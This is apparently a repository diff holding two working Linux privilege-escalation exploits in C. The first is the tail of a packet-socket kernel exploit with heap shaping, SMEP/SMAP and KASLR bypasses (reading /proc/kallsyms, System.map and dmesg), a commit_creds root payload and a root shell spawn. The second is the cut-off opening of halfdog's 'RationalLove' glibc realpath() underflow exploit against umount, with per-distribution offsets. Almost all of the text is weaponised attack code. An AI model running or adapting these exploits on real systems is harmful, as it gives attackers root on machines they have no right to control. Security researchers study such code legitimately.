unsigned int macoff = netoff - maclen;
|
||||
unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
|
||||
0x8000 - BLK_HDR_LEN - macoff + offset;
|
||||
return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
|
||||
}
|
||||
|
||||
void oob_write(char *buffer, int size) {
|
||||
loopback_send(buffer, size);
|
||||
}
|
||||
|
||||
void oob_timer_execute(void *func, unsigned long arg) {
|
||||
oob_setup(2048 + TIMER_OFFSET - 8);
|
||||
|
||||
int i;
|
||||
for (i = 0; i < 32; i++) {
|
||||
int timer = packet_sock_kmalloc();
|
||||
packet_sock_timer_schedule(timer, 1000);
|
||||
}
|
||||
|
||||
char buffer[2048];
|
||||
memset(&buffer[0], 0, sizeof(buffer));
|
||||
|
||||
struct timer_list *timer = (struct timer_list *)&buffer[8];
|
||||
timer->function = func;
|
||||
timer->data = arg;
|
||||
timer->flags = 1;
|
||||
|
||||
oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);
|
||||
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
void oob_id_match_execute(void *func) {
|
||||
int s = oob_setup(2048 + XMIT_OFFSET - 64);
|
||||
|
||||
int ps[32];
|
||||
|
||||
int i;
|
||||
for (i = 0; i < 32; i++)
|
||||
ps[i] = packet_sock_kmalloc();
|
||||
|
||||
char buffer[2048];
|
||||
memset(&buffer[0], 0, 2048);
|
||||
|
||||
void **xmit = (void **)&buffer[64];
|
||||
*xmit = func;
|
||||
|
||||
oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);
|
||||
|
||||
for (i = 0; i < 32; i++)
|
||||
packet_sock_id_match_trigger(ps[i]);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *
|
||||
|
||||
void kmalloc_pad(int count) {
|
||||
int i;
|
||||
for (i = 0; i < count; i++)
|
||||
packet_sock_kmalloc();
|
||||
}
|
||||
|
||||
void pagealloc_pad(int count) {
|
||||
packet_socket_setup(0x8000, 2048, count, 0, 100);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
|
||||
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
|
||||
void get_root_payload(void) {
|
||||
((_commit_creds)(COMMIT_CREDS))(
|
||||
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)
|
||||
);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define CHUNK_SIZE 1024
|
||||
|
||||
int read_file(const char* file, char* buffer, int max_length) {
|
||||
int f = open(file, O_RDONLY);
|
||||
if (f == -1)
|
||||
return -1;
|
||||
int bytes_read = 0;
|
||||
while (true) {
|
||||
int bytes_to_read = CHUNK_SIZE;
|
||||
if (bytes_to_read > max_length - bytes_read)
|
||||
bytes_to_read = max_length - bytes_read;
|
||||
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
||||
if (rv == -1)
|
||||
return -1;
|
||||
bytes_read += rv;
|
||||
if (rv == 0)
|
||||
return bytes_read;
|
||||
}
|
||||
}
|
||||
|
||||
void get_kernel_version(char* output, int max_length) {
|
||||
struct utsname u;
|
||||
int rv = uname(&u);
|
||||
if (rv != 0) {
|
||||
dprintf("[-] uname())\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
assert(strlen(u.release) <= max_length);
|
||||
strcpy(&output[0], u.release);
|
||||
}
|
||||
|
||||
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
|
||||
|
||||
#define KERNEL_VERSION_LENGTH 32
|
||||
|
||||
void detect_versions() {
|
||||
char version[KERNEL_VERSION_LENGTH];
|
||||
|
||||
get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);
|
||||
|
||||
int i;
|
||||
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
|
||||
if (strcmp(&version[0], kernels[i].version) == 0) {
|
||||
dprintf("[.] kernel version '%s' detected\n", kernels[i].version);
|
||||
kernel = i;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[-] kernel version not recognized\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
#define PROC_CPUINFO_LENGTH 4096
|
||||
|
||||
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
|
||||
int smap_smep_enabled() {
|
||||
char buffer[PROC_CPUINFO_LENGTH];
|
||||
char* path = "/proc/cpuinfo";
|
||||
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
|
||||
if (length == -1) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int rv = 0;
|
||||
char* found = memmem(&buffer[0], length, "smep", 4);
|
||||
if (found != NULL)
|
||||
rv += 1;
|
||||
found = memmem(&buffer[0], length, "smap", 4);
|
||||
if (found != NULL)
|
||||
rv += 2;
|
||||
return rv;
|
||||
}
|
||||
|
||||
void check_smep_smap() {
|
||||
int rv = smap_smep_enabled();
|
||||
|
||||
#if !ENABLE_SMEP_SMAP_BYPASS
|
||||
if (rv >= 1) {
|
||||
dprintf("[-] SMAP/SMEP detected, use ENABLE_SMEP_SMAP_BYPASS\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
#endif
|
||||
|
||||
switch(rv) {
|
||||
case 1: // SMEP
|
||||
CR4_DESIRED_VALUE = 0x406e0ul;
|
||||
break;
|
||||
case 2: // SMAP
|
||||
CR4_DESIRED_VALUE = 0x407f0ul;
|
||||
break;
|
||||
case 3: // SMEP and SMAP
|
||||
CR4_DESIRED_VALUE = 0x407f0ul;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * Syslog KASLR bypass * * * * * * * * * * * * * * *
|
||||
|
||||
#define SYSLOG_ACTION_READ_ALL 3
|
||||
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
||||
|
||||
unsigned long get_kernel_addr_syslog() {
|
||||
dprintf("[.] trying syslog...\n");
|
||||
|
||||
int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
||||
if (size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
size = (size / getpagesize() + 1) * getpagesize();
|
||||
char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE,
|
||||
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
|
||||
|
||||
size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size);
|
||||
if (size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
const char *needle1 = "Freeing SMP";
|
||||
char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) {
|
||||
dprintf("[-] substring '%s' not found in dmesg\n", needle1);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
for (size = 0; substr[size] != '\n'; size++);
|
||||
|
||||
const char *needle2 = "ffff";
|
||||
substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2));
|
||||
if (substr == NULL) {
|
||||
dprintf("[-] substring '%s' not found in dmesg\n", needle2);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char *endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xfffffffffff00000ul;
|
||||
r -= 0x1000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_kallsyms() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
char* path = "/proc/kallsyms";
|
||||
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_sysmap() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char path[512] = "/boot/System.map-";
|
||||
char version[32];
|
||||
get_kernel_version(&version[0], 32);
|
||||
strcat(path, &version[0]);
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr() {
|
||||
unsigned long addr = 0;
|
||||
|
||||
addr = get_kernel_addr_kallsyms();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_sysmap();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_syslog();
|
||||
if (addr) return addr;
|
||||
|
||||
dprintf("[-] KASLR bypass failed\n");
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
|
||||
|
||||
void check_procs() {
|
||||
int min_procs = 2;
|
||||
|
||||
int nprocs = 0;
|
||||
nprocs = get_nprocs_conf();
|
||||
|
||||
if (nprocs < min_procs) {
|
||||
dprintf("[-] system has less than %d processor cores\n", min_procs);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[.] system has %d processors\n", nprocs);
|
||||
}
|
||||
|
||||
void exec_shell() {
|
||||
int fd;
|
||||
|
||||
fd = open("/proc/1/ns/net", O_RDONLY);
|
||||
if (fd == -1) {
|
||||
dprintf("error opening /proc/1/ns/net\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (setns(fd, CLONE_NEWNET) == -1) {
|
||||
dprintf("error calling setns\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
system(SHELL);
|
||||
}
|
||||
|
||||
void fork_shell() {
|
||||
pid_t rv;
|
||||
|
||||
rv = fork();
|
||||
if (rv == -1) {
|
||||
dprintf("[-] fork()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (rv == 0) {
|
||||
exec_shell();
|
||||
}
|
||||
}
|
||||
|
||||
bool is_root() {
|
||||
// We can't simple check uid, since we're running inside a namespace
|
||||
// with uid set to 0. Try opening /etc/shadow instead.
|
||||
int fd = open("/etc/shadow", O_RDONLY);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void check_root() {
|
||||
dprintf("[.] checking if we got root\n");
|
||||
|
||||
if (!is_root()) {
|
||||
dprintf("[-] something went wrong =(\n");
|
||||
return;
|
||||
}
|
||||
|
||||
dprintf("[+] got r00t ^_^\n");
|
||||
|
||||
// Fork and exec instead of just doing the exec to avoid potential
|
||||
// memory corruptions when closing packet sockets.
|
||||
fork_shell();
|
||||
}
|
||||
|
||||
bool write_file(const char* file, const char* what, ...) {
|
||||
char buf[1024];
|
||||
va_list args;
|
||||
va_start(args, what);
|
||||
vsnprintf(buf, sizeof(buf), what, args);
|
||||
va_end(args);
|
||||
buf[sizeof(buf) - 1] = 0;
|
||||
int len = strlen(buf);
|
||||
|
||||
int fd = open(file, O_WRONLY | O_CLOEXEC);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
if (write(fd, buf, len) != len) {
|
||||
close(fd);
|
||||
return false;
|
||||
}
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void setup_sandbox() {
|
||||
int real_uid = getuid();
|
||||
int real_gid = getgid();
|
||||
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (!write_file("/proc/self/setgroups", "deny")) {
|
||||
dprintf("[-] write_file(/proc/self/set_groups)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
|
||||
dprintf("[-] write_file(/proc/self/uid_map)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
|
||||
dprintf("[-] write_file(/proc/self/gid_map)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
cpu_set_t my_set;
|
||||
CPU_ZERO(&my_set);
|
||||
CPU_SET(0, &my_set);
|
||||
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
|
||||
dprintf("[-] sched_setaffinity()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (system("/sbin/ifconfig lo up") != 0) {
|
||||
dprintf("[-] system(/sbin/ifconfig lo up)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc > 1) SHELL = argv[1];
|
||||
|
||||
dprintf("[.] starting\n");
|
||||
|
||||
check_procs();
|
||||
|
||||
dprintf("[.] checking kernel version\n");
|
||||
detect_versions();
|
||||
dprintf("[~] done, version looks good\n");
|
||||
|
||||
dprintf("[.] checking SMEP and SMAP\n");
|
||||
check_smep_smap();
|
||||
dprintf("[~] done, looks good\n");
|
||||
|
||||
pid_t pid = fork();
|
||||
if (pid == -1) {
|
||||
dprintf("[-] fork()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (pid != 0) {
|
||||
dprintf("[.] performing exploit...\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
dprintf("[.] setting up namespace sandbox\n");
|
||||
setup_sandbox();
|
||||
dprintf("[~] done, namespace sandbox set up\n");
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
dprintf("[.] KASLR bypass enabled, getting kernel addr\n");
|
||||
KERNEL_BASE = get_kernel_addr();
|
||||
dprintf("[.] done, kernel text: %lx\n", KERNEL_BASE);
|
||||
#endif
|
||||
|
||||
dprintf("[.] commit_creds: %lx\n", COMMIT_CREDS);
|
||||
dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
|
||||
|
||||
#if ENABLE_SMEP_SMAP_BYPASS
|
||||
dprintf("[.] native_write_cr4: %lx\n", NATIVE_WRITE_CR4);
|
||||
#endif
|
||||
|
||||
dprintf("[.] padding heap\n");
|
||||
kmalloc_pad(KMALLOC_PAD);
|
||||
pagealloc_pad(PAGEALLOC_PAD);
|
||||
dprintf("[.] done, heap is padded\n");
|
||||
|
||||
#if ENABLE_SMEP_SMAP_BYPASS
|
||||
dprintf("[.] SMEP & SMAP bypass enabled, turning them off\n");
|
||||
oob_timer_execute((void *)(NATIVE_WRITE_CR4), CR4_DESIRED_VALUE);
|
||||
dprintf("[.] done, SMEP & SMAP should be off now\n");
|
||||
#endif
|
||||
|
||||
dprintf("[.] executing get root payload %p\n", &get_root_payload);
|
||||
oob_id_match_execute((void *)&get_root_payload);
|
||||
dprintf("[.] done, should be root now\n");
|
||||
|
||||
check_root();
|
||||
|
||||
while (1) sleep(1000);
|
||||
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,977 @@
|
||||
/** This software is provided by the copyright owner "as is" and any
|
||||
* expressed or implied warranties, including, but not limited to,
|
||||
* the implied warranties of merchantability and fitness for a particular
|
||||
* purpose are disclaimed. In no event shall the copyright owner be
|
||||
* liable for any direct, indirect, incidential, special, exemplary or
|
||||
* consequential damages, including, but not limited to, procurement
|
||||
* of substitute goods or services, loss of use, data or profits or
|
||||
* business interruption, however caused and on any theory of liability,
|
||||
* whether in contract, strict liability, or tort, including negligence
|
||||
* or otherwise, arising in any way out of the use of this software,
|
||||
* even if advised of the possibility of such damage.
|
||||
*
|
||||
* Copyright (c) 2018 halfdog <me (%) halfdog.net>
|
||||
* See https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ for more information.
|
||||
*
|
||||
* This tool exploits a buffer underflow in glibc realpath()
|
||||
* and was tested against latest release from Debian, Ubuntu
|
||||
* Mint. It is intended as demonstration of ASLR-aware exploitation
|
||||
* techniques. It uses relative binary offsets, that may be different
|
||||
* for various Linux distributions and builds. Please send me
|
||||
* a patch when you developed a new set of parameters to add
|
||||
* to the osSpecificExploitDataList structure and want to contribute
|
||||
* them.
|
||||
*
|
||||
* Compile: gcc -o RationalLove RationalLove.c
|
||||
* Run: ./RationalLove
|
||||
*
|
||||
* You may also use "--Pid" parameter, if you want to test the
|
||||
* program on already existing namespaced or chrooted mounts.
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <assert.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <limits.h>
|
||||
#include <poll.h>
|
||||
#include <sched.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mount.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <time.h>
|
||||
#include <unistd.h>
|
||||
|
||||
|
||||
#define UMOUNT_ENV_VAR_COUNT 256
|
||||
|
||||
/** Dump that number of bytes from stack to perform anti-ASLR.
|
||||
* This number should be high enough to reproducible reach the
|
||||
* stack region sprayed with (UMOUNT_ENV_VAR_COUNT*8) bytes of
|
||||
* environment variable references but low enough to avoid hitting
|
||||
* upper stack limit, which would cause a crash.
|
||||
*/
|
||||
#define STACK_LONG_DUMP_BYTES 4096
|
||||
|
||||
char *messageCataloguePreamble="Language: en\n"
|
||||
"MIME-Version: 1.0\n"
|
||||
"Content-Type: text/plain; charset=UTF-8\n"
|
||||
"Content-Transfer-Encoding: 8bit\n";
|
||||
|
||||
/** The pid of a namespace process with the working directory
|
||||
* at a writable /tmp only visible by the process. */
|
||||
pid_t namespacedProcessPid=-1;
|
||||
|
||||
int killNamespacedProcessFlag=1;
|
||||
|
||||
/** The pathname to the umount binary to execute. */
|
||||
char *umountPathname;
|
||||
|
||||
/** The pathname to the named pipe, that will synchronize umount
|
||||
* binary with supervisory process before triggering the second
|
||||
* and last exploitation phase.
|
||||
*/
|
||||
char *secondPhaseTriggerPipePathname;
|
||||
|
||||
/** The pathname to the second phase exploitation catalogue file.
|
||||
* This is needed as the catalogue cannot be sent via the trigger
|
||||
* pipe from above.
|
||||
*/
|
||||
char *secondPhaseCataloguePathname;
|
||||
|
||||
/** The OS-release detected via /etc/os-release. */
|
||||
char *osRelease=NULL;
|
||||
|
||||
/** This table contains all relevant information to adapt the
|
||||
* attack to supported Linux distros (fully updated) to support
|
||||
* also older versions, hash of umount/libc/libmount should be
|
||||
* used also for lookups.
|
||||
* The 4th string is an array of 4-byte integers with the offset
|
||||
* values for format string generation. Values specify:
|
||||
* * Stack position (in 8 byte words) for **argv
|
||||
* * Stack position of argv[0]
|
||||
* * Offset from __libc_start_main return position from main()
|
||||
* and system() function, first instruction after last sigprocmask()
|
||||
* before execve call.
|
||||
*/
|
||||
#define ED_STACK_OFFSET_CTX 0
|
||||
#define ED_STACK_OFFSET_ARGV 1
|
||||
#define ED_STACK_OFFSET_ARG0 2
|
||||
#define ED_LIBC_GETDATE_DELTA 3
|
||||
#define ED_LIBC_EXECL_DELTA 4
|
||||
static char* osSpecificExploitDataList[]={
|
||||
// Debian Stretch
|
||||
"\"9 (stretch)\"",
|
||||
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
|
||||
"from_archive",
|
||||
// Delta for Debian Stretch "2.24-11+deb9u1"
|
||||
"\x06\0\0\0\x24\0\0\0\x3e\0\0\0\x7f\xb9\x08\x00\x4f\x86\x09\x00",
|
||||
// Ubuntu Xenial libc=2.23-0ubuntu9
|
||||
"\"16.04.3 LTS (Xenial Xerus)\"",
|
||||
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
|
||||
"_nl_load_locale_from_archive",
|
||||
"\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00",
|
||||
// Linux Mint 18.3 Sylvia - same parameters as "Ubuntu Xenial"
|
||||
"\"18.3 (Sylvia)\"",
|
||||
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
|
||||
"_nl_load_locale_from_archive",
|
||||
"\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00",
|
||||
NULL};
|
||||
|
||||
char **osReleaseExploitData=NULL;
|
||||
|
||||
/** Locate the umount binary within the given search path list,
|
||||
* elements separated by colons.
|
||||
* @return a pointer to a malloced memory region containing the
|
||||
* string or NULL if not found.
|
||||
*/
|
||||
char* findUmountBinaryPathname(char *searchPath) {
|
||||
char *testPathName=(char*)malloc(PATH_MAX);
|
||||
assert(testPathName);
|
||||
|
||||
while(*searchPath) {
|
||||
char *endPtr=strchr(searchPath, ':');
|
||||
int length=endPtr-searchPath;
|
||||
if(!endPtr) {
|
||||
length=strlen(searchPath);
|
||||
endPtr=searchPath+length-1;
|
||||
}
|
||||
int result=snprintf(testPathName, PATH_MAX, "%.*s/%s", length,
|
||||
searchPath, "umount");
|
||||
if(result>=PATH_MAX) {
|
||||
fprintf(stderr, "Binary search path element too long, ignoring it.\n");
|
||||
} else {
|
||||
struct stat statBuf;
|
||||
result=stat(testPathName, &statBuf);
|
||||
// Just assume, that umount is owner-executable. There might be
|
||||
// alternative ACLs, which grant umount execution only to selected
|
||||
// groups, but it would be unusual to have different variants
|
||||
// of umount located searchpath on the same host.
|
||||
if((!result)&&(S_ISREG(statBuf.st_mode))&&(statBuf.st_mode&S_IXUSR)) {
|
||||
return(testPathName);
|
||||
}
|
||||
}
|
||||
searchPath=endPtr+1;
|
||||
}
|
||||
|
||||
free(testPathName);
|
||||
return(NULL);
|
||||
}
|
||||
|
||||
|
||||
/** Get the value for a given field name.
|
||||
* @return NULL if not found, a malloced string otherwise.
|
||||
*/
|
||||
char* getReleaseFileField(char *releaseData, int dataLength, char *fieldName) {
|
||||
int nameLength=strlen(fieldName);
|
||||
while(dataLength>0) {
|
||||
char *nextPos=memchr(releaseData, '\n', dataLength);
|
||||
int lineLength=dataLength;
|
||||
if(nextPos) {
|
||||
lineLength=nextPos-releaseData;
|
||||
nextPos++;
|
||||
} else {
|
||||
nextPos=releaseData+dataLength;
|
||||
}
|
||||
if((!strncmp(releaseData, fieldName, nameLength))&&
|
||||
(releaseData[nameLength]=='=')) {
|
||||
return(strndup(releaseData+nameLength+1, lineLength-nameLength-1));
|
||||
}
|
||||
releaseData=nextPos;
|
||||
dataLength-=lineLength;
|
||||
}
|
||||
return(NULL);
|
||||
}
|
||||
|
||||
|
||||
/** Detect the release by reading the VERSION field from /etc/os-release.
|
||||
* @return 0 on success.
|
||||
*/
|
||||
int detectOsRelease() {
|
||||
int handle=open("/etc/os-release", O_RDONLY);
|
||||
if(handle<0)
|
||||
return(-1);
|
||||
|
||||
char *buffer=alloca(1024);
|
||||
int infoLength=read(handle, buffer, 1024);
|
||||
close(handle);
|
||||
if(infoLength<0)
|
||||
return(-1);
|
||||
osRelease=getReleaseFileField(buffer, infoLength, "VERSION");
|
||||
if(!osRelease)
|
||||
osRelease=getReleaseFileField(buffer, infoLength, "NAME");
|
||||
if(osRelease) {
|
||||
fprintf(stderr, "Detected OS version: %s\n", osRelease);
|
||||
return(0);
|
||||
}
|
||||
|
||||
return(-1);
|
||||
}
|
||||
|
||||
|
||||
/** Create the catalogue data in memory.
|
||||
* @return a pointer to newly allocated catalogue data memory
|
||||
*/
|
||||
char* createMessageCatalogueData(char **origStringList, char **transStringList,
|
||||
int stringCount, int *catalogueDataLength) {
|
||||
int contentLength=strlen(messageCataloguePreamble)+2;
|
||||
for(int stringPos=0; stringPos<stringCount; stringPos++) {
|
||||
contentLength+=strlen(origStringList[stringPos])+
|
||||
strlen(transStringList[stringPos])+2;
|
||||
}
|
||||
int preambleLength=(0x1c+0x14*(stringCount+1)+0xc)&-0xf;
|
||||
char *catalogueData=(char*)malloc(preambleLength+contentLength);
|
||||
memset(catalogueData, 0, preambleLength);
|
||||
int *preambleData=(int*)catalogueData;
|
||||
*preambleData++=0x950412de;
|
||||
preambleData++;
|
||||
*preambleData++=stringCount+1;
|
||||
*preambleData++=0x1c;
|
||||
*preambleData++=(*(preambleData-2))+(stringCount+1)*sizeof(int)*2;
|
||||
*preambleData++=0x5;
|
||||
*preambleData++=(*(preambleData-3))+(stringCount+1)*sizeof(int)*2;
|
||||
|
||||
char *nextCatalogueStringStart=catalogueData+preambleLength;
|
||||
for(int stringPos=-1; stringPos<stringCount; stringPos++) {
|
||||
char *writeString=(stringPos<0)?"":origStringList[stringPos];
|
||||
int length=strlen(writeString);
|
||||
*preambleData++=length;
|
||||
*preambleData++=(nextCatalogueStringStart-catalogueData);
|
||||
memcpy(nextCatalogueStringStart, writeString, length+1);
|
||||
nextCatalogueStringStart+=length+1;
|
||||
}
|
||||
for(int stringPos=-1; stringPos<stringCount; stringPos++) {
|
||||
char *writeString=(stringPos<0)?messageCataloguePreamble:transStringList[stringPos];
|
||||
int length=strlen(writeString);
|
||||
*preambleData++=length;
|
||||
*preambleData++=(nextCatalogueStringStart-catalogueData);
|
||||
memcpy(nextCatalogueStringStart, writeString, length+1);
|
||||
nextCatalogueStringStart+=length+1;
|
||||
}
|
||||
assert(nextCatalogueStringStart-catalogueData==preambleLength+contentLength);
|
||||
for(int stringPos=0; stringPos<=stringCount+1; stringPos++) {
|
||||
// *preambleData++=(stringPos+1);
|
||||
*preambleData++=(int[]){1, 3, 2, 0, 4}[stringPos];
|
||||
}
|
||||
*catalogueDataLength=preambleLength+contentLength;
|
||||
return(catalogueData);
|
||||
}
|
||||
|
||||
|
||||
/** Create the catalogue data from the string lists and write
|
||||
* it to the given file.
|
||||
* @return 0 on success.
|
||||
*/
|
||||
int writeMessageCatalogue(char *pathName, char **origStringList,
|
||||
char **transStringList, int stringCount) {
|
||||
int catalogueFd=open(pathName, O_WRONLY|O_CREAT|O_TRUNC|O_NOCTTY, 0644);
|
||||
if(catalogueFd<0) {
|
||||
fprintf(stderr, "Failed to open catalogue file %s for writing.\n",
|
||||
pathName);
|
||||
return(-1);
|
||||
}
|
||||
int catalogueDataLength;
|
||||
char *catalogueData=createMessageCatalogueData(
|
||||
origStringList, transStringList, stringCount, &catalogueDataLength);
|
||||
int result=write(catalogueFd, catalogueData, catalogueDataLength);
|
||||
assert(result==catalogueDataLength);
|
||||
close(catalogueFd);
|
||||
free(catalogueData);
|
||||
return(0);
|
||||
}
|
||||
|
||||
void createDirectoryRecursive(char *namespaceMountBaseDir, char *pathName) {
|
||||
char pathBuffer[PATH_MAX];
|
||||
int pathNameLength=0;
|
||||
while(1) {
|
||||
char *nextPathSep=strchr(pathName+pathNameLength, '/');
|
||||
if(nextPathSep) {
|
||||
pathNameLength=nextPathSep-pathName;
|
||||
} else {
|
||||
pathNameLength=strlen(pathName);
|
||||
}
|
||||
int result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/%.*s",
|
||||
namespaceMountBaseDir, pathNameLength, pathName);
|
||||
assert(result<PATH_MAX);
|
||||
result=mkdir(pathBuffer, 0755);
|
||||
assert((!result)||(errno==EEXIST));
|
||||
if(!pathName[pathNameLength])
|
||||
break;
|
||||
pathNameLength++;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/** This child function prepares the namespaced mount point and
|
||||
